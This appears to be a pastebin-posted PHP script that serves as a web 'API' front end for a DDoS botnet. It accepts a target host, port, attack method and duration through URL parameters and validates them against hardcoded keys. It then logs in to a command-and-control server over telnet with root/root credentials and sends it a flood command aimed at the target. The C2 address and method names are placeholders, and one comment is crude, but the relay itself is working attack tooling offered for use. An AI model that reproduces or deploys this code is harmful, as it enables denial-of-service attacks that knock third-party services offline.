· 6 years ago · Mar 04, 2020, 08:18 PM
1<?php
2error_reporting(E_ALL);
3
4
5 /*
6aye
7goto line 94 to stop the delay unless ur net has that loading shit
8@blazing_runs - ig
9http://yourip/apinet.php?key=blazing&host=[host]&port=[port]&method=[method]&time=[time]
10 */
11
12
13
14 // API Keys
15
16 $APIKeys = array("blazing", "blazingpp");
17
18
19
20 // VALID attack methods
21
22 $attackMethods = array("method", "method2");
23
24
25
26 // I'm so gay
27
28 function htmlsc($string)
29
30 {
31
32 return htmlspecialchars($string, ENT_QUOTES, "UTF-8");
33
34 }
35
36
37
38 // Check if all parameters are passed
39
40 if (!isset($_GET["key"]) || !isset($_GET["host"]) || !isset($_GET["port"]) || !isset($_GET["method"]) || !isset($_GET["time"]))
41
42 die("You are missing a parameter");
43
44
45
46 // Variables for attack
47
48 $key = htmlsc($_GET["key"]);
49
50 $host = htmlsc($_GET["host"]);
51
52 $port = htmlsc($_GET["port"]);
53
54 $method = htmlsc(strtoupper($_GET["method"]));
55
56 $time = htmlsc($_GET["time"]);
57
58 $command = "";
59
60
61
62 // Check if API key is valid
63
64 if (!in_array($key, $APIKeys)) die("Invalid API key");
65
66
67
68 // Check if attack method is valid
69
70 if (!in_array($method, $attackMethods)) die("Invalid attack method");
71
72
73 if ($method == "method") $command = ".method $host $time dport=$port\r\n";
74 else if ($method == "method2") $command = ".method $host $time dport=$port domain=$host\r\n";
75
76
77
78 $socket = fsockopen("1.1.1.1", "80"); // Example: $socket = fsockopen("1.2.3.4", "23");
79 ($socket ? null : die("Failed to connect"));
80
81
82
83 // Login
84
85 fwrite($socket, " \r\n"); // Leave This.
86 sleep(2);
87 fwrite($socket, "root\r\n"); // Username
88 sleep(2);
89 fwrite($socket, "root\r\n"); // Password
90
91
92
93 // Send command
94
95 sleep(10); //if u have a loading shit on ur net just up the sleep time!
96
97 fwrite($socket, $command);
98
99 // Close connection
100
101 fclose($socket);
102
103 // Say the attack has been sent
104
105 echo "Attack sent to $host:$port for $time seconds using method $method!\n";
106
107
108?>